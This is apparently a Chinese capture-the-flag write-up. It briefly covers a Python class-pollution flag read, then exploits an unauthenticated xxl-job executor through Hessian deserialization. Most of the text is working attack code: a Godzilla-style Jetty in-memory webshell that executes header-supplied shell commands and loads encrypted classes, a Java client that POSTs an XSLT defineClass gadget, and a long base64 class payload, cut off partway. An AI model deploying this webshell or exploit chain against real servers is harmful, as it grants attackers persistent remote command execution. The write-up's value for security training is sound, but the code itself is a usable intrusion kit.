首先切换到tmp目录下,再污染base的值:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
接着访问即可:
可以看到flag名称,接着访问/app/45W698WqtsgQT1_flag即可得到flag
解题步骤
根据附件可以确认是xxl-job-executor未授权访问的漏洞,参考下列链接:
但是会发现咱们的xxl-job版本比较老,属于需要靠Hessian反序列化去触发的版本,并且题目是不出网的。这时候就避免不了打一个内存马。因此这一题的关键点其实是如何去注入一个无Web依赖的Jetty内存马。
在xxljob中内置了一个handler如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.xxl.job.core.rpc.netcom.jetty.server;
import com.xxl.job.core.rpc.codec.RpcRequest;
import com.xxl.job.core.rpc.codec.RpcResponse;
import com.xxl.job.core.rpc.netcom.NetComServerFactory;
import com.xxl.job.core.rpc.serialize.HessianSerializer;
import com.xxl.job.core.util.HttpClientUtil;
import java.io.IOException;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class JettyServerHandler extends AbstractHandler {
private static Logger logger = LoggerFactory.getLogger(JettyServerHandler.class);
public JettyServerHandler() {
}
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
RpcResponse rpcResponse = this.doInvoke(request);
byte[] responseBytes = HessianSerializer.serialize(rpcResponse);
response.setContentType("text/html;charset=utf-8");
response.setStatus(200);
baseRequest.setHandled(true);
OutputStream out = response.getOutputStream();
out.write(responseBytes);
out.flush();
}
private RpcResponse doInvoke(HttpServletRequest request) {
RpcResponse rpcResponse;
try {
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes != null && requestBytes.length != 0) {
RpcRequest rpcRequest = (RpcRequest)HessianSerializer.deserialize(requestBytes, RpcRequest.class);
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, (Object)null);
return rpcResponse;
} else {
rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
} catch (Exception var5) {
logger.error(var5.getMessage(), var5);
rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + var5.getMessage());
return rpcResponse;
}
}
}
JettyHandler,我们需要做的就是注入一个一模一样的东西。这里具体细节就没啥好说的了,最后内存马如下
package com.xxl.job.core;
import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;
//author:Boogipop
public class JettyGodzillaMemshell extends AbstractHandler {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "username";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public JettyGodzillaMemshell() {
System.out.println(1);
}
public JettyGodzillaMemshell(int s) {
System.out.println(2);
}
static {
try {
HttpConnection valueField = getValueField();
HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
mutableWhenRunning.setAccessible(true);
mutableWhenRunning.set(handler,true);
// handler.addHandler(new JettyHandlerMemshell(1));
Handler[] handlers = handler.getHandlers();
Handler[] newHandlers=new Handler[handlers.length+1];
newHandlers[0]=new JettyGodzillaMemshell(1);
for (int i = 0; i < handlers.length; i++) {
newHandlers[i + 1] = handlers[i];
}
handler.setHandlers(newHandlers);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){
}
}
} catch (Exception e) {
}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
base.setHandled(true);
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(result.getBytes());
outputStream.flush();
}
}
else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
base.setHandled(true);
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(md5.substring(0, 16).getBytes());
f.toString();
outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
outputStream.write(md5.substring(16).getBytes());
outputStream.flush();
return ;
}
}
} catch (Exception e) {
}
}
}
注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:
package com.example;
import com.caucho.hessian.io.*;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Hashtable;
public class App {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void main( String[] args ) throws Exception {
// Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
// Field f = Unsafe.class.getDeclaredField("theUnsafe");
// f.setAccessible(true);
// Object unsafe = f.get(null);
// Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAC2dldEhhbmRsZXJzAQAlKClbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC3NldEhhbmRsZXJzAQAmKFtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQCAAIgAAAAEAAAAiQCKAAAAAACLAIoAAAAAAIwAigAAAAAAjQCOAAAACgAJAIwAjwABAJAAAACnAAQAAwAAADABTBIBuAACTSwqtgADAyq2AAS2AAW7AAZZBCy2AAe3AAgQELYACbYACkynAARNK7AAAQACACoALQALAAMAkQAAAB4ABwAAAB4AAgAhAAgAIgAVACMAKgAlAC0AJAAuACYAkgAAACAAAwAIACIAkwCUAAIAAAAwAJUAigAAAAIALgCWAIoAAQCXAAAAEwAC/wAtAAIHAJgHAJgAAQcAmQAAAQCaAJsAAQCQAAAAdQADAAEAAAA3KrcADCoSDbUADioSD7UAECq7ABFZtwASKrQAELYAEyq0AA62ABO2ABS4ABW1ABayABcEtgAYsQAAAAIAkQAAABoABgAAACgABAAZAAoAGgAQABsALwApADYAKgCSAAAADAABAAAANwCcAJ0AAAABAJoAngABAJAAAAB/AAMAAgAAADcqtwAMKhINtQAOKhIPtQAQKrsAEVm3ABIqtAAQtgATKrQADrYAE7YAFLgAFbUAFrIAFwW2ABixAAAAAgCRAAAAGgAGAAAALAAEABkACgAaABAAGwAvAC0ANgAuAJIAAAAWAAIAAAA3AJwAnQAAAAAANwCVAJ8AAQAKAKAAoQACAJAAAABbAAIAAgAAABsSGbgAGhIbtgAcSyoEtgAdKgG2AB7AAB9MK7AAAAACAJEAAAASAAQAAABJAAsASgAQAEsAGQBMAJIAAAAWAAIACwAQAKIAowAAABkAAgCkAKUAAQCmAAAACAADAIYAhwCDAAoApwCoAAIAkAAAAf8ABQAKAAAAv7gAIEu4ACG2ACJMK7YAIxIktgAcTS